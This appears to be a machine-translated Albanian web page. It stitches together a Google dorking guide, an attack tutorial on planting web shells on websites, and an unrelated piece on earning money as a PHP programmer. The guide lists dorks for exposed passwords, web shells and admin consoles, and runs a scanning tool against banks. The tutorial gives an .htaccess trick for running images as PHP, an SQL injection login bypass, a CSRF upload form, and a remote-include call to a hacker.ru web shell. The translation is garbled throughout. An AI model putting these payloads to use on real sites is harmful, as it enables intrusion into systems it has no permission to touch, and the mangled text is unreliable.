Kërkoni në titullin e faqes. Teksti midis etiketave <br></td> <td width="214">intitle:”indeksi i” - do të gjejë të gjitha faqet me listat e drejtorive <br></td> </tr><tr><td width="214">ext <br></td> <td width="214">Kërkoni për faqe me një shtrirje të caktuar <br></td> <td width="214">ext:pdf - gjen të gjithë skedarët pdf <br></td> </tr><tr><td width="214">lloji i skedarit <br></td> <td width="214">Aktualisht, krejtësisht e ngjashme me klasën. fjala "ext" <br></td> <td width="214">lloji i skedarit:pdf - i ngjashëm <br></td> </tr><tr><td width="214">të lidhura <br></td> <td width="214">Kërkoni faqe me tema të ngjashme <br></td> <td width="214">related:google.ru - do të tregojë analogët e tij <br></td> </tr><tr><td width="214">lidhje <br></td> <td width="214">Kërkoni për sajte që lidhen me këtë <br></td> <td width="214">link:somesite.ru - do të gjeni të gjitha faqet që kanë një lidhje me këtë <br></td> </tr><tr><td width="214">përcaktojnë <br></td> <td width="214">Trego përkufizimin e fjalës <br></td> <td width="214">define:0day - përkufizimi i termit <br></td> </tr><tr><td width="214">cache <br></td> <td width="214">Shfaq përmbajtjen e faqes në cache (nëse është e pranishme) <br></td> <td width="214">cache:google.com - do të hapë një faqe të memorizuar <br></td> </tr></tbody></table><p>Tabela 2 - Karaktere speciale për pyetjet e Google <br></p><table><tbody><tr><td width="214"><b>Simboli</b><br></td> <td width="214"><b>Kuptimi</b><br></td> <td width="214"><b>Shembull</b><br></td> </tr><tr><td width="214">“<br></td> <td width="214">Fraza e saktë <br></td> <td width="214">intitle:"Faqja e konfigurimit të ruterit të RouterOS" - kërkoni për ruterat <br></td> </tr><tr><td width="214">*<br></td> <td width="214">Çdo tekst <br></td> <td width="214">inurl: "bitrix*mcart" - kërkoni për sajte në bitrix me një modul mcart të cenueshëm <br></td> </tr><tr><td width="214">.<br></td> <td width="214">Çdo personazh <br></td> <td width="214">Index.of - i ngjashëm me indeksin e kërkesës <br></td> </tr><tr><td width="214">-<br></td> <td width="214">Fshi një fjalë <br></td> <td width="214">error -warning - tregoni të gjitha faqet që kanë një gabim, por pa paralajmërim <br></td> </tr><tr><td width="214">..<br></td> <td width="214">Gama <br></td> <td width="214">cve 2006..2016 - shfaqni dobësitë sipas vitit duke filluar nga 2006 <br></td> </tr><tr><td width="214">|<br></td> <td width="214">Logjike "ose" <br></td> <td width="214">linux | dritaret - shfaqni faqet ku shfaqet fjala e parë ose e dytë <br></td> </tr></tbody></table><br>Vlen të kuptohet se çdo kërkesë për një motor kërkimi është një kërkim vetëm me fjalë. <br>Është e kotë të kërkosh meta-karaktere në faqe (thonjëza, kllapa, shenja pikësimi, etj.). Edhe një kërkim për frazën e saktë të specifikuar në thonjëza është një kërkim fjalësh, i ndjekur nga një kërkim për një përputhje të saktë në rezultate. <p>Të gjitha dosjet e bazës së të dhënave të Google Hack ndahen logjikisht në 14 kategori dhe janë paraqitur në Tabelën 3. <br>Tabela 3 – Kategoritë e bazës së të dhënave të Google Hack <br></p><table><tbody><tr><td width="168"><b>Kategoria</b><br></td> <td width="190"><b>Çfarë ju lejon të gjeni</b><br></td> <td width="284"><b>Shembull</b><br></td> </tr><tr><td width="168">Pikat e këmbëve <br></td> <td width="190">Predhat e uebit, menaxherët e skedarëve publikë <br></td> <td width="284">Gjeni të gjitha faqet e hakuara ku janë ngarkuar faqet e listuara të internetit: <br>(titulli:"phpshell" OSE titulli:"c99shell" OSE titulli:"r57shell" OSE titulli:"PHP Shell" OSE titulli:"phpRemoteView") `rwx` "uname" <br></td> </tr><tr><td width="168">Skedarët që përmbajnë emra përdoruesish <br></td> <td width="190">Skedarët e regjistrit, skedarët e konfigurimit, regjistrat, skedarët që përmbajnë historikun e komandave të futura <br></td> <td width="284">Gjeni të gjithë skedarët e regjistrit që përmbajnë informacione të llogarisë: <br><i>filetype:reg reg +intext:"menaxher i llogarisë në internet"</i><br></td> </tr><tr><td width="168">Drejtoritë e ndjeshme <br></td> <td width="190">Drejtoritë me informacione të ndryshme (dokumente personale, konfigurime vpn, depo të fshehura, etj.) <br></td> <td width="284">Gjeni të gjitha listat e direktorive që përmbajnë skedarë të lidhur me VPN: <br><i>"Config" titulli:"Indeksi i" intext:vpn</i><br>Faqet që përmbajnë depo git: <br><i>(intekst:"indeksi i /.git") ("drejtoria prind")</i><br></td> </tr><tr><td width="168">Zbulimi i serverit në ueb <br></td> <td width="190">Versioni dhe informacione të tjera rreth serverit në internet <br></td> <td width="284">Gjeni konsolat administrative të serverit JBoss: <br><i>inurl:"/web-console/" titulli:"Konsola e administrimit"</i><br></td> </tr><tr><td width="168">Skedarët e cenueshëm <br></td> <td width="190">Skriptet që përmbajnë dobësi të njohura <br></td> <td width="284">Gjeni sajte që përdorin një skript që ju lejon të ngarkoni një skedar arbitrar nga serveri: <br><i>allinurl:forcedownload.php?file=</i><br></td> </tr><tr><td width="168">Serverë të cenueshëm <br></td> <td width="190">Skriptet e instalimit, predhat e uebit, konzolat e hapura administrative, etj. <br></td> <td width="284">Gjeni konsolat e hapura PHPMyAdmin që funksionojnë si rrënjë: <br><i>intitle:phpMyAdmin "Mirë se erdhe në phpMyAdmin ***" "punon në * si root@*"</i><br></td> </tr><tr><td width="168">Mesazhet e gabimit <br></td> <td width="190">Gabimet dhe paralajmërimet e ndryshme shpesh zbulojnë informacione të rëndësishme - nga versioni CMS te fjalëkalimet <br></td> <td width="284">Faqet që kanë gabime në ekzekutimin e pyetjeve SQL në bazën e të dhënave: <br><i>"Paralajmërim: mysql_query()" "pyetje e pavlefshme"</i><br></td> </tr><tr><td width="168">Skedarët që përmbajnë informacion të lëngshëm <br></td> <td width="190">Certifikatat, kopjet rezervë, emailet, regjistrat, skriptet SQL, etj. <br></td> <td width="284">Gjeni skriptet e inicializimit sql: <br><i>lloji i skedarit:sql dhe "insert into" -site:github.com</i><br></td> </tr><tr><td width="168">Skedarët që përmbajnë fjalëkalime <br></td> <td width="190">Çdo gjë që mund të përmbajë fjalëkalime - regjistrat, skriptet sql, etj. <br></td> <td width="284">Regjistrat që përmendin fjalëkalimet: <br><i>lloji i skedarit:</i><i>log</i><i>teksti:</i><i>fjalëkalimi |</i><i>kaloj |</i><i>pw</i><br>Skriptet sql që përmbajnë fjalëkalime: <br><i>ext:</i><i>sql</i><i>teksti:</i><i>emri i përdoruesit</i><i>teksti:</i><i>fjalëkalimin</i><br></td> </tr><tr><td width="168">Informacion i ndjeshëm i blerjeve në internet <br></td> <td width="190">Informacion në lidhje me blerjet online <br></td> <td width="284">Gjeni kodet pine: <br><i>dcid=</i><i>bn=</i><i>gjilpere</i><i>kod=</i><br></td> </tr><tr><td width="168">Rrjeti ose të dhënat e cenueshmërisë <br></td> <td width="190">Informacion që nuk lidhet drejtpërdrejt me burimin e uebit, por që ndikon në rrjet ose shërbime të tjera jo-web <br></td> <td width="284">Gjeni skriptet automatike të konfigurimit të proxy-ve që përmbajnë informacion në lidhje me rrjetin e brendshëm: <br><i>inurl:proxy | inurl:wpad ext:pac | ext:dat findproxyforurl</i><br></td> </tr><tr><td width="168">Faqet që përmbajnë portalet e hyrjes <br></td> <td width="190">Faqet që përmbajnë formularë të hyrjes <br></td> <td width="284">faqet e internetit saplogon: <br><i>intext:"2016 SAP AG. Të gjitha të drejtat e rezervuara." titulli: "Logon"</i><br></td> </tr><tr><td width="168">Pajisje të ndryshme në internet <br></td> <td width="190">Printerat, ruterat, sistemet e monitorimit, etj. <br></td> <td width="284">Gjeni panelin e konfigurimit të printerit: <br><i>titulli:"</i><i>hp</i><i>laserjet"</i><i>inurl:</i><i>SSI/</i><i>Auth/</i><i>set_</i><i>konfigurim_</i><i>informacioni i pajisjes.</i><i>htm</i><br></td> </tr><tr><td width="168">Këshilla dhe dobësi <br></td> <td width="190">Faqet e internetit në versionet e cenueshme të CMS <br></td> <td width="284">Gjeni shtojca të cenueshme përmes të cilave mund të ngarkoni një skedar arbitrar në server: <br><i>inurl:fckeditor -intext:"ConfigIsEnabled = False" intext:ConfigIsEnabled</i><br></td> </tr></tbody></table><br>Dorks janë më shpesh të fokusuar në kërkimin në të gjitha faqet e internetit. Por asgjë nuk ju pengon të kufizoni shtrirjen e kërkimit në çdo sajt ose sajt. <br>Çdo pyetje e Google mund të fokusohet në një sajt specifik duke shtuar fjalën kyçe "site:somesite.com" në pyetje. Kjo fjalë kyçe mund të shtohet në çdo dork. <p><b>Automatizimi i kërkimit për dobësitë</b><br>Kështu lindi ideja për të shkruar një mjet të thjeshtë që automatizon kërkimin për dobësitë duke përdorur një motor kërkimi (google) dhe mbështetet në bazën e të dhënave të hakimit të Google.</p><p>Shërbimi është një skrip i shkruar në nodejs duke përdorur phantomjs. Për të qenë të saktë, skenari interpretohet nga vetë phantomjs. <br>Phantomjs është një shfletues uebi i plotë pa një GUI, i kontrolluar nga kodi js dhe me një API të përshtatshëm. <br>Shërbimi mori një emër mjaft të kuptueshëm - dorks. Duke e ekzekutuar atë në vijën e komandës (pa opsione), marrim ndihmë të shkurtër me disa shembuj të përdorimit: <br><br><img src='https://i0.wp.com/habrastorage.org/getpro/habr/post_images/edd/6fb/ccc/edd6fbccc5ec340abe750f3073c1b427.jpg' width="100%" loading=lazy loading=lazy><br>Figura 1 - Lista e opsioneve kryesore të dorks</p><p>Sintaksa e përgjithshme e programit është: dork "command" "option list". <br>Një përshkrim i detajuar i të gjitha opsioneve është paraqitur në Tabelën 4.</p><p>Tabela 4 - Sintaksa e Dorks <br></p><table border="1"><tbody><tr><td width="214"><b>Ekipi</b><br></td> <td width="214"><b>Opsioni</b><br></td> <td width="214"><b>Përshkrim</b><br></td> </tr><tr><td rowspan="4" width="214">ghdb <br></td> <td width="214">-l <br></td> <td width="214">Shtypni një listë të numëruar të kategorive dork Baza e të dhënave Google Hack <br></td> </tr><tr><td width="214">-c "numri ose emri i kategorisë" <br></td> <td width="214">Ngarkoni dyert e kategorisë së specifikuar sipas numrit ose emrit <br></td> </tr><tr><td width="214">-q "frazë" <br></td> <td width="214">Shkarko dorks gjetur sipas kërkesës <br></td> </tr><tr><td width="214">-o "skedar" <br></td> <td width="214">Ruani rezultatin në një skedar (vetëm me opsionet -c|-q) <br></td> </tr><tr><td rowspan="8" width="214">google <br></td> <td width="214">-d "dark" <br></td> <td width="214">Vendosni një dork arbitrar (opsioni mund të përdoret shumë herë, kombinimi me opsionin -D lejohet) <br></td> </tr><tr><td width="214">-D "skedar" <br></td> <td width="214">Përdorni dorks nga skedari <br></td> </tr><tr><td width="214">-s "faqe" <br></td> <td width="214">Vendosja e faqes (opsioni mund të përdoret shumë herë, kombinimi me opsionin -S lejohet) <br></td> </tr><tr><td width="214">-S "skedar" <br></td> <td width="214">Përdorni sajte nga një skedar (dokset do të kërkohen për secilin sajt në mënyrë të pavarur) <br></td> </tr><tr><td width="214">-f "filtër" <br></td> <td width="214">Cakto fjalë kyçe shtesë (do t'i shtohen çdo dork) <br></td> </tr><tr><td width="214">-t "numri i ms" <br></td> <td width="214">Intervali midis kërkesave për në google <br></td> </tr><tr><td width="214">-T "numri i ms" <br></td> <td width="214">Kohëzgjatja nëse haset një captcha <br></td> </tr><tr><td width="214">-o "skedar" <br></td> <td width="214">Ruani rezultatin në një skedar (vetëm ato pjesë për të cilat u gjet diçka do të ruhen) <br></td> </tr></tbody></table><br>Duke përdorur komandën ghdb, mund të merrni të gjitha dorks nga exploit-db me kërkesë arbitrare, ose të specifikoni të gjithë kategorinë. Nëse specifikoni kategorinë 0, e gjithë baza e të dhënave do të shkarkohet (rreth 4.5 mijë dorks). <p>Lista e kategorive të disponueshme aktualisht është paraqitur në Figurën 2. <br><br><img src='https://i1.wp.com/habrastorage.org/getpro/habr/post_images/b8f/b11/ffe/b8fb11ffeaced5066fd2fd9e43be67fb.jpg' width="100%" loading=lazy loading=lazy></p><p>Figura 2 - Lista e kategorive të disponueshme të dork GHDB</p><p>Ekipi i google do të zëvendësojë çdo dork në motorin e kërkimit google dhe do të analizojë rezultatin për ndeshjet. Shtigjet ku u gjet diçka do të ruhen në një skedar. <br>Shërbimi mbështet mënyra të ndryshme kërkimi: <br>1 dork dhe 1 vend; <br>1 konvikt dhe shumë vende; <br>1 vend dhe shumë dollapë; <br>shumë vende dhe shumë kullota; <br>Lista e dorkave dhe vendeve mund të specifikohet ose përmes një argumenti ose përmes një skedari.</p><p><b>Demonstrimi i punës</b><br>Le të përpiqemi të kërkojmë ndonjë dobësi duke përdorur shembullin e kërkimit të mesazheve të gabimit. Me komandë: dorks ghdb –c 7 –o errors.dorks të gjitha dorks të njohura të kategorisë “Mesazhet e gabimeve” do të ngarkohen siç tregohet në Figurën 3. <br><br><img src='https://i1.wp.com/habrastorage.org/getpro/habr/post_images/28c/386/641/28c386641d1528652f7f8e8b8089097a.jpg' width="100%" loading=lazy loading=lazy><br>Figura 3 – Ngarkimi i të gjitha pikave të njohura të kategorisë “Mesazhet e gabimeve”.</p><p>Dorks shkarkohen dhe ruhen në një skedar. Tani gjithçka që mbetet është t'i "vendosni" ato në një sit (shih Figurën 4). <br><br><img src='https://i2.wp.com/habrastorage.org/getpro/habr/post_images/8e0/a8a/3af/8e0a8a3af4f26544da1faa584813dbff.jpg' width="100%" loading=lazy loading=lazy><br>Figura 4 – Kërkoni për dobësitë e faqes me interes në cache Google</p><p>Pas ca kohësh, disa faqe që përmbajnë gabime zbulohen në faqen në studim (shih Figurën 5).</p><p><img src='https://i1.wp.com/habrastorage.org/getpro/habr/post_images/10b/e83/ba3/10be83ba38f172213ba06b3f9ad05a58.jpg' width="100%" loading=lazy loading=lazy><br>Figura 5 – Mesazhet e gabimit të gjetura</p><p>Si rezultat, në skedarin result.txt marrim një listë të plotë të dorks që çojnë në gabim. <br>Figura 6 tregon rezultatin e kërkimit për gabimet e faqes. <br><br>Figura 6 – Rezultati i kërkimit të gabimeve</p><p>Në cache për këtë dork, shfaqet një gjurmë e plotë prapa, duke zbuluar shtigjet absolute të skripteve, sistemin e menaxhimit të përmbajtjes së faqes dhe llojin e bazës së të dhënave (shih Figurën 7). <br><br><img src='https://i2.wp.com/habrastorage.org/getpro/habr/post_images/0a9/455/588/0a9455588496d6609f5e13d598cb5a48.jpg' width="100%" loading=lazy loading=lazy><br>Figura 7 – zbulimi i informacionit rreth dizajnit të sitit</p><p>Sidoqoftë, ia vlen të merret në konsideratë që jo të gjithë kërpudhat nga GHDB japin rezultate të vërteta. Gjithashtu, Google mund të mos gjejë një përputhje të saktë dhe të tregojë një rezultat të ngjashëm.</p><p>Në këtë rast, është më e mençur të përdorni listën tuaj personale të kërpudhave. Për shembull, gjithmonë ia vlen të kërkoni skedarë me shtesa "të pazakonta", shembuj të të cilave tregohen në Figurën 8. <br><br><img src='https://i2.wp.com/habrastorage.org/getpro/habr/post_images/d7f/865/693/d7f865693f7fcf13137598eeed0ecb58.jpg' width="100%" loading=lazy loading=lazy><br>Figura 8 – Lista e shtesave të skedarëve që nuk janë tipike për një burim të rregullt ueb</p><p>Si rezultat, me komandën dorks google –D extensions.txt –f bank, që në kërkesën e parë Google fillon të kthejë faqet me shtesa skedarësh “të pazakonta” (shih Figurën 9). <br><br><img src='https://i2.wp.com/habrastorage.org/getpro/habr/post_images/107/e1f/a2f/107e1fa2f41c4169bcc254cba2f2f4b6.jpg' width="100%" loading=lazy loading=lazy><br>Figura 9 – Kërkoni për lloje të skedarëve “të keq” në faqet e internetit bankare</p><p>Vlen të kihet parasysh se Google nuk pranon pyetje më të gjata se 32 fjalë.</p><p>Duke përdorur komandën dorks google –d intext:"gabim|paralajmërim|njoftim|sintaksë" -f universitet <br>Ju mund të kërkoni për gabime përkthyese PHP në faqet e internetit arsimore (shih Figurën 10). <br><br><img src='https://i2.wp.com/habrastorage.org/getpro/habr/post_images/717/74f/e36/71774fe3656bfc058c42d43262fdec4a.jpg' width="100%" loading=lazy loading=lazy><br>Figura 10 – Gjetja e gabimeve në kohën e ekzekutimit të PHP</p><p>Ndonjëherë nuk është i përshtatshëm për të përdorur një ose dy kategori të dorkrave. <br>Për shembull, nëse dihet që faqja funksionon në motorin Wordpress, atëherë na duhen module specifike për WordPress. Në këtë rast, është e përshtatshme të përdorni kërkimin e bazës së të dhënave të Google Hack. Komanda dorks ghdb –q wordpress –o wordpress_dorks.txt do të shkarkojë të gjitha dorks nga Wordpress, siç tregohet në Figurën 11: <br><br><img src='https://i0.wp.com/habrastorage.org/getpro/habr/post_images/dcb/ac9/a4e/dcbac9a4eb12f6ec775d9cccc2fdee87.jpg' width="100%" loading=lazy loading=lazy><br>Figura 11 – Kërkoni për Dorks që lidhen me Wordpress</p><p>Le të kthehemi përsëri te bankat dhe të përdorim komandën dorks google –D wordpress_dords.txt –f bank për të provuar të gjejmë diçka interesante në lidhje me Wordpress (shih Figurën 12). <br><br><img src='https://i0.wp.com/habrastorage.org/getpro/habr/post_images/042/0c2/c43/0420c2c435931704288b171f725ccc6a.jpg' width="100%" loading=lazy loading=lazy><br>Figura 12 – Kërko për dobësitë e Wordpress</p><p>Vlen të përmendet se kërkimi në Google Hack Database nuk pranon fjalë më të shkurtra se 4 karaktere. Për shembull, nëse CMS e faqes nuk dihet, por gjuha dihet - PHP. Në këtë rast, ju mund të filtroni atë që ju nevojitet manualisht duke përdorur tubin dhe mjetin e kërkimit të sistemit dorks –c all | findstr /I php > php_dorks.txt (shih Figurën 13): <br><br><img src='https://i1.wp.com/habrastorage.org/getpro/habr/post_images/4c1/2f8/6e1/4c12f86e111074293c14d6a939c6ebab.jpg' width="100%" loading=lazy loading=lazy><br>Figura 13 – Kërkoni të gjitha kutitë ku përmendet PHP</p><p>Kërkimi për dobësi ose disa informacione të ndjeshme në një motor kërkimi duhet të bëhet vetëm nëse ka një indeks të rëndësishëm në këtë faqe. Për shembull, nëse një faqe ka 10-15 faqe të indeksuara, atëherë është marrëzi të kërkosh diçka në këtë mënyrë. Kontrollimi i madhësisë së indeksit është i lehtë - thjesht futni "site:somesite.com" në shiritin e kërkimit të Google. Një shembull i një siti me një indeks të pamjaftueshëm është paraqitur në Figurën 14. <br><br><img src='https://i0.wp.com/habrastorage.org/getpro/habr/post_images/78e/1db/b4f/78e1dbb4fc78cd422cec311fc2ca9d33.jpg' width="100%" loading=lazy loading=lazy><br>Figura 14 – Kontrollimi i madhësisë së indeksit të faqes</p><p>Tani për të pakëndshmen... Herë pas here Google mund të kërkojë një captcha - nuk mund të bëni asgjë për këtë - do t'ju duhet ta futni atë. Për shembull, kur kërkoni nëpër kategorinë "Mesazhet e gabimit" (90 pika), captcha u shfaq vetëm një herë.</p><p>Vlen të shtohet se phantomjs gjithashtu mbështet punën përmes një përfaqësuesi, si përmes ndërfaqes http dhe çorapeve. Për të aktivizuar modalitetin proxy, duhet të hiqni komentin e linjës përkatëse në dorks.bat ose dorks.sh.</p><p>Mjeti është i disponueshëm si kod burim</p> <br>Në këtë artikull dua të flas për metodat më të përdorura të ngarkimit të një guaskë në një faqe interneti. <b>Web-guaskë</b>është një lloj skripti (programi) me qëllim të keq që sulmuesit përdorin për të kontrolluar faqet e internetit ose serverët. <p><b>Metoda 1</b><br>Gjeni një formular në faqen e internetit për ngarkimin e skedarëve/fotografive. Le të themi se nuk ishim në gjendje të hakim panelin e administratorit të faqes dhe po përpiqemi të vërshojmë guaskën tonë me <b>extension.php.jpg .</b> Nëse është e suksesshme, ne do të shohim një dritare të bardhë në vend të figurës, klikojmë me të djathtën dhe ndjekim lidhjen. Në rast dështimi, ne mund të përdorim shtesën e kromit <b>ngatërroni të dhënat</b>. Kjo ju lejon të përgjoni dhe ndryshoni kërkesën ashtu siç dëshironi. Nëse faqja kontrollon shtrirjen e skedarit, atëherë së pari mund të ngarkojmë <b>.htaccess</b> skedar me përmbajtjen: <br>Aplikacioni AddType/x-httpd-php .jpg <br>Kjo komandë do të ekzekutojë skedarët jpg si php. <br><b>Udhëzime të hollësishme video:</b><br></p><p><span class="imp1oe54JeQ"></span></p><p>Udhëzime video për <b>instalimi i të dhënave të manipuluara:</b><br></p><p><span class="JA5K4KJ0NCc"></span></p><br><b>Metoda 2</b><br>Përdorni programin për të kërkuar panele admin në sit - https://github.com/bdblackhat/admin-panel-finder. Kur programi të ketë gjetur panelin e administratorit, mund të provojmë sql-injection. Në fushën e hyrjes dhe fjalëkalimit të faqes futim kodin: <br><p>"ose "1"="1" OSE 1=1/*</p><p>Nëse funksionon, atëherë arrijmë në panelin e administratorit dhe <b>Ne vazhdojmë sipas metodës 1.</b> Nëse nuk ka injeksion sql në panelin e administratorit në faqe, atëherë mund të përpiqemi ta korrigjojmë atë ose të gjejmë një shfrytëzim për këtë CMS. <br><b>Udhëzime të hollësishme video:</b><br></p><p><span class="5Kh5gCr_3rc"></span></p><br><b>Metoda 3</b><br>Në metodën 3 ne do të kërkojmë për injeksion sql në vetë faqen. Ne mund ta bëjmë këtë me dorë ose të përdorim sqlmap. Ka mjaft tema në forum për mënyrën e kryerjes së injeksioneve, kështu që do të vij nga larg. Pra, tani ne kemi gjetur tashmë një tabelë me hyrjen dhe fjalëkalimin e administratorit, deshifroni hash-et, shkoni në panelin e administratorit dhe gëzohuni. Por le të themi se nuk mundëm të deshifrojmë fjalëkalimin dhe gjithçka shkoi keq, atëherë duhet të kontrollojmë privilegjet e përdoruesit tonë <b>. </b> Ne kontrollojmë privilegjet dhe ngarkojmë mini-predhën. <b>Për disa arsye, kur dua të ngjis kodin, faqja më jep një gabim.</b><p><b>Metoda 4</b><br>Metoda 4 përfshin një sulm csrf. Në kodin e mëposhtëm duhet të zëvendësojmë <b>http://</b> në lidhjen tonë të synuar. <b>Zgjidhni guaskën</b> dhe shtypni butonin <b>Ngarkoni.</b><br></p><p> <form method="POST" action="http://" enctype="multipart/form-data" > <input type="file" name="Filedata"></center><br> <input type="submit" name="Submit" value="Ngarkoni"> </form></p><p><span class="FXOjzV5I1Cc"></span></p><br><b>Metoda 5</b><br>Mësoni më shumë rreth objektivit tuaj dhe gjeni një shfrytëzim. Ekziston një faqe interneti shumë interesante për këtë - https://www.exploit-db.com. Askush nuk e ka anuluar hakimin masiv të faqeve të internetit përmes dobësive, por tashmë ka një artikull në lidhje me këtë në formular. <p>Ka shumë mënyra të tjera për të mbushur një guaskë dhe nuk ka kuptim të flasim për secilën prej tyre. Nëse dëshironi të praktikoni, atëherë instaloni dvwa - është një program i krijuar për të ndihmuar profesionistët e sigurisë të testojnë aftësitë dhe mjetet e tyre në një mjedis ligjor.</p><p><b>Metoda 6 <br><b>Injeksion Php</b>- kjo është një formë sulmi në një faqe interneti kur sulmuesi injekton kodin e tij PHP në aplikacionin PHP të sulmuar.</b><br>www.site.ru?page=home.html <br>Me ekzekutimin e komandës do të ngarkojmë faqen home,html. Tani do të përpiqemi të ngarkojmë një guaskë me qëllim të keq. <br>www.site.ru?page=http://hacker.ru/webshell.php <br>Dork: <b>Inurl:faqe=</b></p><p>Ekziston gjithashtu një mënyrë për të gjetur një guaskë të ngarkuar tashmë duke përdorur perl</p> <p> » </p><h1>Si mundet një programues PHP të bëjë para të mira në shtëpi?</h1><p>Programuesit më të suksesshëm PHP fitojnë para të mira nga shtëpia. Në fillim të çdo të ardhure, lindin vështirësi. Ndodh që vështirësitë dhe mungesa e njohurive për metodat e fitimit të dekurajojnë çdo dëshirë për të fituar para në shtëpi, dhe më pas programuesit kërkojnë mundësinë për të punuar në zyra, ku ka një garanci më të madhe që paratë mund të merren çdo muaj dhe rritja profesionale është të mundshme.</p><p>Por të qenit në gjendje të punosh nga shtëpia ka më shumë pro sesa kundër.</p><h3>pro</h3><p>Ju do të punoni për veten tuaj. Askush nuk do t'ju pushojë nga puna, ju do të jeni në gjendje të shpërndani orarin tuaj ose të punoni në kohën që dëshironi.</p><p>Ju zgjidhni vetë një mënyrë për të fituar para duke përdorur programimin, i cili, së pari, do të rrisë interesin tuaj për punën dhe së dyti, ju keni liri të madhe veprimi. Nuk duhet të punoni për diçka që nuk ju pëlqen. Ka gjithashtu më shumë mundësi për të kombinuar mënyrat e fitimit të parave.</p><h3>Minuset</h3><p>Në fillim do të jetë e vështirë dhe për të marrë paratë e para për punën tuaj duhet të investoni shumë përpjekje dhe kohë. Dhe në mënyrë që të ketë fitim, duhet të zhvilloni vazhdimisht dhe të keni durim dhe të shpërndani saktë orarin tuaj në mënyrë që të keni kohë të mjaftueshme për të përfunduar punën në kohë.</p><h3>Fitimi i parave nga skriptet tuaja</h3><p>Ka shumë skripta të ndryshëm në internet që njerëzit mund t'i shkarkojnë dhe instalojnë lehtësisht në faqen e tyre të internetit. Ju mund të shkruani skenarin tuaj unik dhe ka dy opsione se si mund të fitoni para nga skenari juaj. Shitet ose postojeni përmes shërbimeve të ndarjes së skedarëve. Ju gjithashtu mund të përdorni dy opsione. Për shembull, skriptet e lehta, por në të njëjtën kohë është gjithashtu shumë e rëndësishme që përmes shërbimeve të ndarjes së skedarëve të vendosen pikërisht ato skripta që do të jenë shumë të kërkuara. Për ta bërë këtë, skriptet duhet të jenë të kërkuara në mënyrë që njerëzit t'i shkarkojnë ato për nevojat e tyre.</p><p>Skriptet e mëdha mund të shiten me çmime të arsyeshme. Ju mund të postoni një reklamë në forume, ose nëse keni blogun tuaj personal ose faqen e internetit, vendosni një reklamë për shitjen e skripteve.</p><p>Në çdo rast, pavarësisht se çfarë opsioni zgjidhni, vendoseni skriptin në arkiv dhe sigurohuni që të përfshini udhëzime të hollësishme dhe informacione kontakti për veten tuaj. Sigurohuni që të ofroni mbështetje, sepse është e rëndësishme që ju të punoni për veten tuaj. Në fund të fundit, ju duhet të rekomandoheni ose të shkarkoni skriptet tuaja. Ata duhet të jenë të cilësisë së lartë. Nëse një person ju kërkon ndihmë, shpjegoni me mirësjellje për skenarin ose ndihmojeni ta instalojë atë. Skriptet tuaja duhet të kenë komente. Për çfarë është përgjegjës secili funksion, etj. Në fund të fundit, një person mund të ngatërrohet lehtësisht në kodin tuaj, ku nuk ka shënime.</p><h3>Projektet e veta dhe të përbashkëta</h3><p>Është mirë të krijoni uebsajtin tuaj për të fituar para me sukses. Ka shumë mundësi për të fituar para me faqen tuaj të internetit. Nëse e promovoni mirë, mund të postoni skripta atje për shitje. Projektet bashkëpunuese do të zgjerojnë aftësitë tuaja, gjë që është e mirë për suksesin e programimit në shtëpi. Prandaj, kërkoni partnerë ose mos refuzoni ofertat për të krijuar një projekt së bashku.</p><p>Sigurohuni që të shtoni veçori që tërheqin vëmendjen në faqen tuaj të internetit. Faqja mund të ketë një pamje të rregullt, të thjeshtë, por në të njëjtën kohë me kthesën e vet. Një faqe interneti personale ndihmon në rritjen e klientëve. Ata do të shohin se si funksionojnë skriptet tuaja, nëse nuk kërkojnë shumë kohë për t'u ngarkuar, janë interesante për t'u përdorur dhe më e rëndësishmja, origjinale, ndryshe nga çdo gjë tjetër. Atëherë do të gjeni sukses.</p><h3>Fitimet me porosi</h3><p>Për ta bërë këtë, thjesht regjistrohuni në shkëmbime të ndryshme për përkthyes të pavarur dhe kërkoni porosi. Paraqitni portofolin tuaj të punës së përfunduar. Por kujdes, ka njerëz të pandershëm në botë dhe që të mos bini në mashtrim, më parë tregoni punën që ndodhet në serverin tuaj (meqë ra fjala, në këtë rast do t'ju duhet të merrni me qira një vps http:/ /nkvd.pro/vps/), dhe pastaj nëse ju paguajnë një pjesë, atëherë transferoni gjysmën në serverin e tyre dhe bëni të njëjtën gjë me pjesën e dytë. Kjo metodë e fitimit të parave konsiderohet fitimprurëse, por varet nga shkalla e njohurive dhe aftësive tuaja. Kjo varet gjithashtu nga reagimet nga klientët tuaj. Për të pasur sukses në këtë metodë të fitimit të parave, bëni punën me ndershmëri dhe efikasitet. Ju duhet të jeni në gjendje të komunikoni me klientët, të shpjegoni qartë se çfarë mund dhe nuk mund të bëni.</p><p>Kjo nuk është e gjithë lista e fitimeve për një programues php, por falë këtyre metodave të fitimit të parave, të cilat janë shkruar më sipër, tashmë mund të fitoni para pa lënë shtëpinë. Në fazën fillestare, kjo do të jetë një arritje e madhe. Gjëja kryesore është të mos ndalemi këtu. Përmirësoni vazhdimisht dhe krijoni projekte që do t'ju sjellin jo vetëm të ardhura të mira, por edhe kënaqësi.</p> <br><b>Rreth Autorit</b> <br><p>Si mundet një programues PHP të bëjë para të mira në shtëpi?</p> <script type="text/javascript"> <!-- var _acic={dataProvider:10};(function(){var e=document.createElement("script");e.type="text/javascript";e.async=true;e.src="https://www.acint.net/aci.js";var t=document.getElementsByTagName("script")[0];t.parentNode.insertBefore(e,t)})() //--> </script><br> <br> <script>document.write("<img style='display:none;' src='//counter.yadro.ru/hit;artfast?t44.1;r"+ escape(document.referrer)+((typeof(screen)=="undefined")?"": ";s"+screen.width+"*"+screen.height+"*"+(screen.colorDepth? screen.colorDepth:screen.pixelDepth))+";u"+escape(document.URL)+";h"+escape(document.title.substring(0,150))+ ";"+Math.random()+ "border='0' width='1' height='1' loading=lazy loading=lazy>");</script> </div> </article> <div class="related_block"> <div class="title">Publikime të ngjashme</div> <ul class="recent_ul"> <li> <div class="img_block"> <div class="overlay"></div> <img src="/uploads/df0d5cee9400644ed5ece71b3dd0efe4.jpg" style="width:230px; height:145px;" / loading=lazy loading=lazy></div> <a href="https://storerarity.ru/sq/regulyarnye-vyrazheniya-php-zamena-simvolov-regulyarnye-vyrazheniya-php.html">Shprehje të rregullta PHP</a></li> <li> <div class="img_block"> <div class="overlay"></div> <img src="/uploads/5f41c24137f2f36c1377e533ac57bf4f.jpg" style="width:230px; height:145px;" / loading=lazy loading=lazy></div> <a href="https://storerarity.ru/sq/znakomtes-mozilla-thunderbird-udobnyi-besplatnyi-pochtovyi-klient.html">Mozilla Thunderbird shkarko falas versionin rus Shkarkoni programin Mazila Thunderbird</a></li> <li> <div class="img_block"> <div class="overlay"></div> <img 